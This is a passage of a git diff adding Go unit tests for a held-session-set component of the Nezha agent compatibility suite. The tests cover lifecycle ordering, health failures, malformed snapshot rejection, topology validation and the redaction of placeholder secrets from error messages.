+ return nil, errors.New("constructor called") + }} + _, err := NewHeldSessionSet(context.Background(), fixture.input) + require.ErrorIs(t, err, ErrInvalidHeldSessionSetTopology) + require.Empty(t, fixture.state.present) + require.Empty(t, fixture.state.absent) + require.Empty(t, fixture.coordinator.ready) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_fixture_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_fixture_test.go new file mode 100644 index 00000000..dfbf869e --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_fixture_test.go @@ -0,0 +1,152 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "sync" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" + "github.com/nezhahq/nezha/integration/agentcompat/internal/dashboard" +) + +type heldSessionSetPublicFixture struct { + plan StressPlan + input HeldSessionSetInput + coordinator *heldSessionSetConstructorCoordinator + state *heldSessionSetStateFake + closeOrder chan int + waitOrder chan int + counters *heldSessionSetCallCounters +} + +type heldSessionSetCallCounters struct { + mu sync.Mutex + inspect int + snapshot int + observe int + waitState int + terminal int + nat int + fm int +} + +func (counters *heldSessionSetCallCounters) add(field *int) { + counters.mu.Lock() + (*field)++ + counters.mu.Unlock() +} + +func (counters *heldSessionSetCallCounters) values() heldSessionSetCallCounters { + counters.mu.Lock() + defer counters.mu.Unlock() + return heldSessionSetCallCounters{inspect: counters.inspect, snapshot: counters.snapshot, observe: counters.observe, waitState: counters.waitState, terminal: counters.terminal, nat: counters.nat, fm: counters.fm} +} + +func (fixture *heldSessionSetPublicFixture) returnedSet(t *testing.T) *heldSessionSet { + t.Helper() + result := make(chan *heldSessionSet, 1) + errResult := make(chan error, 1) + go func() { + set, err := NewHeldSessionSet(context.Background(), fixture.input) + result <- set + errResult <- err + }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + fixture.releaseConstructors() + set := <-result + if err := <-errResult; err != nil { + t.Fatal(err) + } + return set +} + +func newHeldSessionSetPublicFixture(t *testing.T) *heldSessionSetPublicFixture { + t.Helper() + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + if err != nil { + t.Fatal(err) + } + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + if err != nil { + t.Fatal(err) + } + coordinator := newHeldSessionSetConstructorCoordinator() + closeOrder := make(chan int, len(plan.Sessions)) + waitOrder := make(chan int, len(plan.Sessions)) + for index, sessionPlan := range plan.Sessions { + coordinator.indices[sessionPlan.ID.String()] = index + coordinator.sessions[index] = newHeldSessionSetTestSession(index, sessionPlan, closeOrder, waitOrder) + } + topology := make([]HeldSessionAgent, heldSessionSetAgentCount) + agentFacts := make(map[*agent.Agent]heldSessionAgentFacts, heldSessionSetAgentCount) + controlServerIDs := make([]uint64, heldSessionSetAgentCount) + for index := range topology { + ordinal, ordinalErr := NewStressAgentOrdinal(index + 1) + if ordinalErr != nil { + t.Fatal(ordinalErr) + } + agentInstance := &agent.Agent{} + agentUUID := "uuid-" + string(rune('a'+index)) + topology[index] = HeldSessionAgent{Ordinal: ordinal, Agent: agentInstance, PATClient: &client.Client{}, Readiness: agent.Readiness{ServerID: uint64(index + 1), UUID: agentUUID, Version: "test", Online: true, VersionObserved: true, RequestTaskEstablished: true, StateReceiptObserved: true}} + agentFacts[agentInstance] = heldSessionAgentFacts{PID: 1, UUID: agentUUID} + controlServerIDs[index] = uint64(index + 1) + } + state := &heldSessionSetStateFake{baseline: client.IOStreamState{Count: 7}, expectedPresentCount: 19, expectedAbsentCount: 7, presentStreamErrors: make(map[string]error), absentStreamErrors: make(map[string]error), aggregatePredicatesEmpty: true, waitCalls: make(chan client.IOStreamStateExpectation, 40)} + counters := &heldSessionSetCallCounters{} + fixture := &heldSessionSetPublicFixture{plan: plan, coordinator: coordinator, state: state, closeOrder: closeOrder, waitOrder: waitOrder, counters: counters} + dependencies := fixture.dependencies() + dependencies.InspectAgent = func(instance *agent.Agent) heldSessionAgentFacts { + counters.add(&counters.inspect) + return agentFacts[instance] + } + dependencies.ObserveState = func(*client.Client) heldSessionSetStateObserver { counters.add(&counters.observe); return state } + fixture.input = HeldSessionSetInput{Dashboard: &dashboard.Dashboard{}, Plan: plan, Topology: topology, ControlClient: &client.Client{}, ControlServerIDs: controlServerIDs, Dependencies: dependencies} + return fixture +} + +func (fixture *heldSessionSetPublicFixture) dependencies() HeldSessionSetDependencies { + construct := func(ctx, lifetimeContext context.Context, plan StressSessionPlan) (heldSession, error) { + fixture.coordinator.contextSeen <- lifetimeContext + return fixture.coordinator.construct(ctx, plan) + } + return HeldSessionSetDependencies{ + Terminal: func(ctx context.Context, input heldTerminalInput) (heldSession, error) { + fixture.counters.add(&fixture.counters.terminal) + return construct(ctx, input.LifetimeContext, input.Plan) + }, + NAT: func(ctx context.Context, input heldNATInput) (heldSession, error) { + fixture.counters.add(&fixture.counters.nat) + return construct(ctx, input.LifetimeContext, input.Plan) + }, + FM: func(ctx context.Context, input heldLegacyFMInput) (heldSession, error) { + fixture.counters.add(&fixture.counters.fm) + return construct(ctx, input.LifetimeContext, input.Plan) + }, + Snapshot: func(context.Context, heldSessionSetStateObserver) (client.IOStreamState, error) { + fixture.counters.add(&fixture.counters.snapshot) + return fixture.state.baseline, fixture.state.snapshotError + }, + WaitState: func(ctx context.Context, state heldSessionSetStateObserver, expectation client.IOStreamStateExpectation) (client.IOStreamState, error) { + fixture.counters.add(&fixture.counters.waitState) + return state.WaitForIOStreamState(ctx, expectation) + }, + } +} + +func (fixture *heldSessionSetPublicFixture) releaseConstructors() { + fixture.coordinator.releaseAll() + for index := range fixture.plan.Sessions { + fixture.coordinator.release(index) + } +} + +func sensitiveError(label string) error { + return errors.New(label + " token=secret-token path=/secret/path uuid=secret-uuid stream=secret-stream") +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_health_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_health_test.go new file mode 100644 index 00000000..9436b183 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_health_test.go @@ -0,0 +1,75 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestHeldSessionSetPublicPrematureHealthIsRetainedAndCanonical(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + firstError := sensitiveError("health-first") + secondError := sensitiveError("health-second") + fixture.coordinator.sessions[0].closeResult = firstError + fixture.coordinator.sessions[1].closeResult = secondError + indexOneClosureObserved := make(chan struct{}) + fixture.input.testHealthSnapshotRequestHook = func(index int) { + if index == 0 { + fixture.coordinator.sessions[0].prematureClose() + } + } + fixture.input.testHealthSnapshotReplyHook = func(index int) { + _ = index + } + fixture.input.testHealthClosureObservedHook = func(index int) { + if index == 1 { + close(indexOneClosureObserved) + } + } + set := fixture.returnedSet(t) + fixture.coordinator.sessions[1].prematureClose() + <-indexOneClosureObserved + fixture.input.testHealthSnapshotRequestHook = func(index int) { + if index == 0 { + fixture.coordinator.sessions[0].prematureClose() + } + } + err := set.WaitHealthy(context.Background()) + require.ErrorIs(t, err, firstError) + require.NotErrorIs(t, err, secondError) + require.Equal(t, "held session set health failed", err.Error()) + require.NotContains(t, err.Error(), "secret-token") + for index := 2; index < 12; index++ { + fixture.coordinator.sessions[index].prematureClose() + } + require.ErrorIs(t, set.WaitHealthy(context.Background()), firstError) + require.NoError(t, set.Close(context.Background())) + require.ErrorIs(t, set.WaitHealthy(context.Background()), firstError) + set.healthWG.Wait() +} + +func TestHeldSessionSetPublicCanceledHealthWaiterRetainsLaterResult(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + waitContext, cancel := context.WithCancel(context.Background()) + cancel() + require.ErrorIs(t, set.WaitHealthy(waitContext), context.Canceled) + healthError := errors.New("health failure") + fixture.coordinator.sessions[3].closeResult = healthError + fixture.coordinator.sessions[3].prematureClose() + require.ErrorIs(t, set.WaitHealthy(context.Background()), healthError) + require.NoError(t, set.Close(context.Background())) + set.healthWG.Wait() +} + +func TestHeldSessionSetPublicOwnedCloseDoesNotCreateHealthFailure(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + require.NoError(t, set.Close(context.Background())) + require.NoError(t, set.WaitHealthy(context.Background())) + set.healthWG.Wait() +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_protocol_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_protocol_test.go new file mode 100644 index 00000000..2e4f0e26 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_protocol_test.go @@ -0,0 +1,81 @@ +//go:build linux + +package scenario + +import ( + "context" + "sort" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestHeldSessionSetPublicCoordinatorRejectsMalformedSnapshots(t *testing.T) { + cases := []struct { + name string + target int + mutate func(heldHealthSnapshotRequest) heldHealthSnapshot + validFirst bool + }{ + {name: "stale epoch", target: 0, mutate: func(request heldHealthSnapshotRequest) heldHealthSnapshot { + return heldHealthSnapshot{epoch: request.epoch - 1, index: 0} + }}, + {name: "duplicate index", target: 1, mutate: func(request heldHealthSnapshotRequest) heldHealthSnapshot { + return heldHealthSnapshot{epoch: request.epoch, index: 0} + }}, + {name: "out of range index", target: 0, mutate: func(request heldHealthSnapshotRequest) heldHealthSnapshot { + return heldHealthSnapshot{epoch: request.epoch, index: heldSessionSetHealthMemberCount} + }}, + {name: "missing index substitution", target: 11, mutate: func(request heldHealthSnapshotRequest) heldHealthSnapshot { + return heldHealthSnapshot{epoch: request.epoch, index: heldSessionSetHealthMemberCount - 2} + }}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + requests := make(chan int, heldSessionSetHealthMemberCount) + overrideIndexes := make(chan int, 1) + malformedSent := make(chan struct{}) + fixture.input.testHealthSnapshotRequestHook = func(index int) { requests <- index } + fixture.input.testHealthSnapshotOverrideHook = func(index int, request heldHealthSnapshotRequest) *heldHealthSnapshot { + if index != testCase.target { + return nil + } + select { + case <-malformedSent: + default: + close(malformedSent) + } + malformed := testCase.mutate(request) + overrideIndexes <- malformed.index + return &malformed + } + set := fixture.returnedSet(t) + closeResult := make(chan error, 1) + go func() { closeResult <- set.Close(context.Background()) }() + err := set.WaitHealthy(context.Background()) + require.Error(t, err) + require.Equal(t, "held session set health failed", err.Error()) + require.ErrorIs(t, err, ErrHeldSessionSetHealth) + require.ErrorIs(t, err, ErrHeldSessionSetHealthProtocol) + require.Equal(t, []int{testCase.mutate(heldHealthSnapshotRequest{epoch: 1}).index}, []int{<-overrideIndexes}) + require.Equal(t, []int{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11}, sortedHealthIndexes(requests)) + require.NoError(t, <-closeResult) + <-set.coordinatorDone + <-set.closeDone + for _, watcherDone := range set.healthWatcherDone { + <-watcherDone + } + for index := len(fixture.coordinator.sessions) - 1; index >= 0; index-- { + require.Equal(t, index, <-fixture.closeOrder) + require.Equal(t, index, <-fixture.waitOrder) + } + }) + } +} + +func sortedHealthIndexes(events <-chan int) []int { + indexes := collectHealthIndexes(events) + sort.Ints(indexes) + return indexes +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_redaction_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_redaction_test.go new file mode 100644 index 00000000..6aca1a0d --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_redaction_test.go @@ -0,0 +1,193 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" +) + +var heldSessionSetSensitiveFragments = []string{"secret-token", "/secret/path", "secret-uuid", "secret-stream", "server=991", "authorization="} + +func requireHeldSessionSetRedacted(t *testing.T, err error, class error, causes ...error) { + t.Helper() + require.Error(t, err) + require.Equal(t, class.Error(), err.Error()) + require.ErrorIs(t, err, class) + for _, cause := range causes { + require.ErrorIs(t, err, cause) + } + for _, fragment := range heldSessionSetSensitiveFragments { + require.NotContains(t, err.Error(), fragment, fragment) + } +} + +func TestHeldSessionSetPublicRedactionInitialSnapshot(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + sentinel := sensitiveBoundaryError("snapshot") + fixture.state.snapshotError = sentinel + _, err := NewHeldSessionSet(context.Background(), fixture.input) + requireHeldSessionSetRedacted(t, err, ErrHeldSessionSetOperation, sentinel) +} + +func TestHeldSessionSetPublicRedactionConstructorsByKind(t *testing.T) { + kinds := []StressSessionKind{StressSessionTerminal, StressSessionNAT, StressSessionFM} + for _, kind := range kinds { + t.Run(string(kind), func(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + index := sessionIndexByKind(fixture, kind) + sentinel := sensitiveBoundaryError(string(kind)) + fixture.coordinator.errors[fixture.plan.Sessions[index].ID.String()] = sentinel + fixture.coordinator.errorReady[index] = make(chan struct{}) + result := make(chan error, 1) + go func() { + _, err := NewHeldSessionSet(context.Background(), fixture.input) + result <- err + }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + fixture.coordinator.releaseAll() + for member := range fixture.plan.Sessions { + if member != index { + fixture.coordinator.release(member) + } + } + fixture.coordinator.release(index) + fixture.coordinator.releaseError(index) + for range fixture.plan.Sessions { + <-fixture.coordinator.completed + } + requireHeldSessionSetRedacted(t, <-result, ErrHeldSessionSetOperation, sentinel) + }) + } +} + +func TestHeldSessionSetPublicRedactionWaitLiveAndStateBoundaries(t *testing.T) { + cases := []struct { + name string + closeSet bool + mutate func(*heldSessionSetPublicFixture, error) + }{ + {name: "wait live", mutate: func(fixture *heldSessionSetPublicFixture, sentinel error) { + fixture.coordinator.sessions[0].waitLiveError = sentinel + }}, + {name: "present per stream", mutate: func(fixture *heldSessionSetPublicFixture, sentinel error) { + fixture.state.presentStreamErrors[fixture.coordinator.sessions[0].streamID] = sentinel + }}, + {name: "present aggregate", mutate: func(fixture *heldSessionSetPublicFixture, sentinel error) { + fixture.state.presentAggregateError = sentinel + }}, + {name: "absent per stream", closeSet: true, mutate: func(fixture *heldSessionSetPublicFixture, sentinel error) { + fixture.state.absentStreamErrors[fixture.coordinator.sessions[0].streamID] = sentinel + }}, + {name: "absent aggregate", closeSet: true, mutate: func(fixture *heldSessionSetPublicFixture, sentinel error) { + fixture.state.absentAggregateError = sentinel + }}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + sentinel := sensitiveBoundaryError(testCase.name) + testCase.mutate(fixture, sentinel) + var err error + if testCase.closeSet { + set := fixture.returnedSet(t) + err = set.Close(context.Background()) + } else { + _, err = newHeldSessionSetWithReleasedConstructors(fixture) + } + requireHeldSessionSetRedacted(t, err, ErrHeldSessionSetOperation, sentinel) + }) + } +} + +func TestHeldSessionSetPublicRedactionHealthCloseAndAbsentBoundaries(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + closeSentinel := sensitiveBoundaryError("close") + waitSentinel := sensitiveBoundaryError("wait-closed") + absentSentinel := sensitiveBoundaryError("absent") + fixture.coordinator.sessions[0].closeError = closeSentinel + fixture.coordinator.sessions[1].waitClosedError = waitSentinel + fixture.state.absentAggregateError = absentSentinel + err := set.Close(context.Background()) + requireHeldSessionSetRedacted(t, err, ErrHeldSessionSetOperation, closeSentinel, waitSentinel, absentSentinel) +} + +func TestHeldSessionSetPublicRedactionBaselineRestorationAggregate(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + sentinel := sensitiveBoundaryError("baseline-restoration") + fixture.state.absentAggregateError = sentinel + err := set.Close(context.Background()) + requireHeldSessionSetRedacted(t, err, ErrHeldSessionSetOperation, sentinel) + require.Equal(t, fixture.state.expectedAbsentCount, fixture.state.baseline.Count) + require.ElementsMatch(t, canonicalStreamIDs(fixture), fixture.state.absent) +} + +func TestHeldSessionSetPublicRedactionPrematureHealthRetainsTypedErrors(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + sentinel := sensitiveBoundaryError("premature") + fixture.coordinator.sessions[0].closeResult = sentinel + fixture.coordinator.sessions[0].prematureClose() + err := set.WaitHealthy(context.Background()) + requireHeldSessionSetRedacted(t, err, ErrHeldSessionSetHealth, sentinel) + require.NoError(t, set.Close(context.Background())) +} + +func TestHeldSessionSetPublicRedactionPrematureHealthNilCloseResult(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + fixture.coordinator.sessions[0].prematureClose() + err := set.WaitHealthy(context.Background()) + requireHeldSessionSetRedacted(t, err, ErrHeldSessionSetHealth, ErrHeldSessionPrematureClose) + require.NoError(t, set.Close(context.Background())) +} + +func TestHeldSessionSetPublicRedactionProtocolHealth(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + fixture.input.testHealthSnapshotOverrideHook = func(index int, request heldHealthSnapshotRequest) *heldHealthSnapshot { + if index != 0 { + return nil + } + return &heldHealthSnapshot{epoch: request.epoch - 1, index: 0, event: &heldHealthEvent{err: sensitiveBoundaryError("protocol")}} + } + set := fixture.returnedSet(t) + fixture.coordinator.sessions[11].prematureClose() + err := set.WaitHealthy(context.Background()) + requireHeldSessionSetRedacted(t, err, ErrHeldSessionSetHealth, ErrHeldSessionSetHealthProtocol) + require.NoError(t, set.Close(context.Background())) +} + +func sensitiveBoundaryError(label string) error { + return errors.New(label + " token=secret-token path=/secret/path uuid=secret-uuid stream=secret-stream server=991 authorization=secret-token") +} + +func sessionIndexByKind(fixture *heldSessionSetPublicFixture, kind StressSessionKind) int { + for index, session := range fixture.plan.Sessions { + if session.Kind == kind { + return index + } + } + panic("session kind not found") +} + +func newHeldSessionSetWithReleasedConstructors(fixture *heldSessionSetPublicFixture) (*heldSessionSet, error) { + result := make(chan *heldSessionSet, 1) + errResult := make(chan error, 1) + go func() { + set, err := NewHeldSessionSet(context.Background(), fixture.input) + result <- set + errResult <- err + }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + fixture.releaseConstructors() + return <-result, <-errResult +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_state_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_state_test.go new file mode 100644 index 00000000..0a7b6d30 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_state_test.go @@ -0,0 +1,66 @@ +//go:build linux + +package scenario + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestHeldSessionSetPublicPresentStateRetainsEveryDistinctSentinel(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + expected := make(map[string]error, len(fixture.plan.Sessions)) + for index := range fixture.plan.Sessions { + sentinel := errors.New("present-state-" + fixture.coordinator.sessions[index].streamID) + expected[fixture.coordinator.sessions[index].streamID] = sentinel + fixture.state.presentStreamErrors[fixture.coordinator.sessions[index].streamID] = sentinel + } + aggregateSentinel := errors.New("present-state-aggregate") + fixture.state.presentAggregateError = aggregateSentinel + result := make(chan error, 1) + go func() { + _, err := NewHeldSessionSet(context.Background(), fixture.input) + result <- err + }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + fixture.releaseConstructors() + err := <-result + require.Error(t, err) + for streamID, sentinel := range expected { + require.ErrorIs(t, err, sentinel, streamID) + } + require.ErrorIs(t, err, aggregateSentinel) + require.ElementsMatch(t, canonicalStreamIDs(fixture), fixture.state.present) + require.Equal(t, 12, len(fixture.state.present)) + require.Equal(t, 26, fixture.counters.values().waitState) + require.Equal(t, 1, fixture.state.presentAggregateCalls) + require.True(t, fixture.state.aggregatePredicatesEmpty) +} + +func TestHeldSessionSetPublicAbsentStateRetainsEveryDistinctSentinel(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + set := fixture.returnedSet(t) + expected := make(map[string]error, len(fixture.plan.Sessions)) + for index := range fixture.plan.Sessions { + sentinel := errors.New("absent-state-" + fixture.coordinator.sessions[index].streamID) + expected[fixture.coordinator.sessions[index].streamID] = sentinel + fixture.state.absentStreamErrors[fixture.coordinator.sessions[index].streamID] = sentinel + } + aggregateSentinel := errors.New("absent-state-aggregate") + fixture.state.absentAggregateError = aggregateSentinel + err := set.Close(context.Background()) + require.Error(t, err) + for streamID, sentinel := range expected { + require.ErrorIs(t, err, sentinel, streamID) + } + require.ErrorIs(t, err, aggregateSentinel) + require.ElementsMatch(t, canonicalStreamIDs(fixture), fixture.state.absent) + require.Equal(t, 26, fixture.counters.values().waitState) + require.Equal(t, 1, fixture.state.absentAggregateCalls) + require.True(t, fixture.state.aggregatePredicatesEmpty) +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_success_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_success_test.go new file mode 100644 index 00000000..9226a205 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_success_test.go @@ -0,0 +1,124 @@ +//go:build linux + +package scenario + +import ( + "context" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestHeldSessionSetPublicSuccessOrchestratesCanonicalLifecycle(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + result := make(chan *heldSessionSet, 1) + errResult := make(chan error, 1) + go func() { + set, err := NewHeldSessionSet(context.Background(), fixture.input) + result <- set + errResult <- err + }() + for range fixture.plan.Sessions { + <-fixture.coordinator.ready + } + permutation := []int{8, 1, 11, 3, 0, 10, 4, 7, 2, 9, 5, 6} + fixture.coordinator.releaseAll() + started := make([]string, 0, len(permutation)) + completed := make([]heldSessionConstructorCompletion, 0, len(permutation)) + acquired := make([]int, 0, len(permutation)) + for _, index := range permutation { + fixture.coordinator.release(index) + started = append(started, <-fixture.coordinator.startEvents) + completion := <-fixture.coordinator.completed + completed = append(completed, completion) + require.Equal(t, index, completion.index) + require.NoError(t, completion.err) + require.True(t, completion.acquired) + acquired = append(acquired, <-fixture.coordinator.acquired) + require.Equal(t, index, acquired[len(acquired)-1]) + } + set := <-result + require.NoError(t, <-errResult) + for range fixture.plan.Sessions { + constructorContext := <-fixture.coordinator.contextSeen + select { + case <-constructorContext.Done(): + t.Fatal("constructor context was canceled after successful construction") + default: + } + } + counters := fixture.counters.values() + require.Equal(t, 8, counters.inspect) + require.Equal(t, 1, counters.snapshot) + require.Equal(t, 1, counters.observe) + require.Equal(t, 4, counters.terminal) + require.Equal(t, 4, counters.nat) + require.Equal(t, 4, counters.fm) + require.Len(t, set.sessions, 12) + for index, session := range set.sessions { + require.Equal(t, fixture.plan.Sessions[index], session.Plan()) + } + require.Equal(t, permutation, acquired) + require.Equal(t, permutation, completedIndexes(completed)) + require.Equal(t, canonicalPlanIndexes(set), []int{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11}) + require.Equal(t, permutationPlanIDs(fixture, permutation), started) + require.NoError(t, set.Close(context.Background())) + require.NoError(t, set.WaitHealthy(context.Background())) + for index := 11; index >= 0; index-- { + require.Equal(t, index, <-fixture.closeOrder) + require.Equal(t, index, <-fixture.waitOrder) + } + require.Len(t, fixture.state.present, 12) + require.Len(t, fixture.state.absent, 12) + require.ElementsMatch(t, canonicalStreamIDs(fixture), fixture.state.present) + require.ElementsMatch(t, canonicalStreamIDs(fixture), fixture.state.absent) + require.Equal(t, 26, len(fixture.state.counts)) + require.Equal(t, 13, countExpectedState(fixture.state.counts, 19)) + require.Equal(t, 13, countExpectedState(fixture.state.counts, 7)) + require.Equal(t, 1, fixture.state.presentAggregateCalls) + require.Equal(t, 1, fixture.state.absentAggregateCalls) + require.True(t, fixture.state.aggregatePredicatesEmpty) + set.healthWG.Wait() +} + +func completedIndexes(completions []heldSessionConstructorCompletion) []int { + indexes := make([]int, 0, len(completions)) + for _, completion := range completions { + indexes = append(indexes, completion.index) + } + return indexes +} + +func canonicalPlanIndexes(set *heldSessionSet) []int { + indexes := make([]int, 0, len(set.sessions)) + for index := range set.sessions { + indexes = append(indexes, index) + } + return indexes +} + +func permutationPlanIDs(fixture *heldSessionSetPublicFixture, indexes []int) []string { + ids := make([]string, 0, len(indexes)) + for _, index := range indexes { + ids = append(ids, fixture.plan.Sessions[index].ID.String()) + } + return ids +} + +func canonicalStreamIDs(fixture *heldSessionSetPublicFixture) []string { + ids := make([]string, 0, len(fixture.plan.Sessions)) + for index := range fixture.plan.Sessions { + ids = append(ids, fixture.coordinator.sessions[index].streamID) + } + return ids +} + +func countExpectedState(counts []int, expected int) int { + count := 0 + for _, value := range counts { + if value == expected { + count++ + } + } + return count +} diff --git a/integration/agentcompat/internal/scenario/held_session_set_public_topology_test.go b/integration/agentcompat/internal/scenario/held_session_set_public_topology_test.go new file mode 100644 index 00000000..c6ee5205 --- /dev/null +++ b/integration/agentcompat/internal/scenario/held_session_set_public_topology_test.go @@ -0,0 +1,116 @@ +//go:build linux + +package scenario + +import ( + "context" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/agent" + "github.com/stretchr/testify/require" +) + +func TestHeldSessionSetPublicTopologyRejectsAuthorityMutationsWithoutSideEffects(t *testing.T) { + cases := []struct { + name string + mutate func(*heldSessionSetPublicFixture) + expectedInspect int + expectedError error + }{ + {name: "wrong profile", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.Plan.Profile = "missing-profile" }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetPlan}, + {name: "missing ordinal", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Topology = fixture.input.Topology[:7] + }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "duplicate ordinal", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Topology[1].Ordinal = fixture.input.Topology[0].Ordinal + }, expectedInspect: 1, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "duplicate UUID", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Topology[1].Readiness.UUID = fixture.input.Topology[0].Readiness.UUID + }, expectedInspect: 2, expectedError: ErrHeldReadinessAgentMismatch}, + {name: "duplicate server ID", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Topology[1].Readiness.ServerID = fixture.input.Topology[0].Readiness.ServerID + }, expectedInspect: 2, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "extra control server", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.ControlServerIDs = append(fixture.input.ControlServerIDs, 99) + }, expectedInspect: 8, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "duplicate control server", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.ControlServerIDs[1] = fixture.input.ControlServerIDs[0] + }, expectedInspect: 8, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "noncanonical plan", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.Plan.Sessions[0].Ordinal++ }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetPlan}, + {name: "duplicate plan", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Plan.Sessions[1].ID = fixture.input.Plan.Sessions[0].ID + }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetPlan}, + } + for _, testCase := range cases { + t.Run(testCase.name, func(t *testing.T) { + fixture := newHeldSessionSetPublicFixture(t) + testCase.mutate(fixture) + _, err := NewHeldSessionSet(context.Background(), fixture.input) + require.Error(t, err) + require.ErrorIs(t, err, ErrHeldSessionSetOperation) + require.ErrorIs(t, err, testCase.expectedError) + require.Empty(t, fixture.state.present) + require.Empty(t, fixture.state.absent) + require.Empty(t, fixture.coordinator.ready) + counters := fixture.counters.values() + require.Zero(t, counters.snapshot) + require.Zero(t, counters.observe) + require.Equal(t, testCase.expectedInspect, counters.inspect) + require.Zero(t, counters.terminal) + require.Zero(t, counters.nat) + require.Zero(t, counters.fm) + }) + } +} + +func TestHeldSessionSetPublicTopologyRejectsBoundaryInputsWithoutConstruction(t *testing.T) { + cases := []struct { + name string + mutate func(*heldSessionSetPublicFixture) + expectedInspect int + expectedError error + }{ + {name: "nil dashboard", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.Dashboard = nil }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "nil control client", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.ControlClient = nil }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "nil agent", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.Topology[0].Agent = nil }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "nil pat", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.Topology[0].PATClient = nil }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "invalid pid", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Dependencies.InspectAgent = func(*agent.Agent) heldSessionAgentFacts { return heldSessionAgentFacts{PID: 0, UUID: "uuid-a"} } + }, expectedInspect: 0, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "readiness mismatch", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.Topology[0].Readiness.UUID = "different" }, expectedInspect: 1, expectedError: ErrInvalidHeldReadiness}, + {name: "incomplete readiness", mutate: func(fixture *heldSessionSetPublicFixture) { + fixture.input.Topology[0].Readiness.VersionObserved = false + }, expectedInspect: 1, expectedError: ErrInvalidHeldReadiness}, + {name: "zero control server", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.ControlServerIDs[0] = 0 }, expectedInspect: 8, expectedError: ErrInvalidHeldSessionSetTopology}, + {name: "unknown control server", mutate: func(fixture *heldSessionSetPublicFixture) { fixture.input.ControlServerIDs[0] = 991 }, expectedInspect: 8, expectedError: 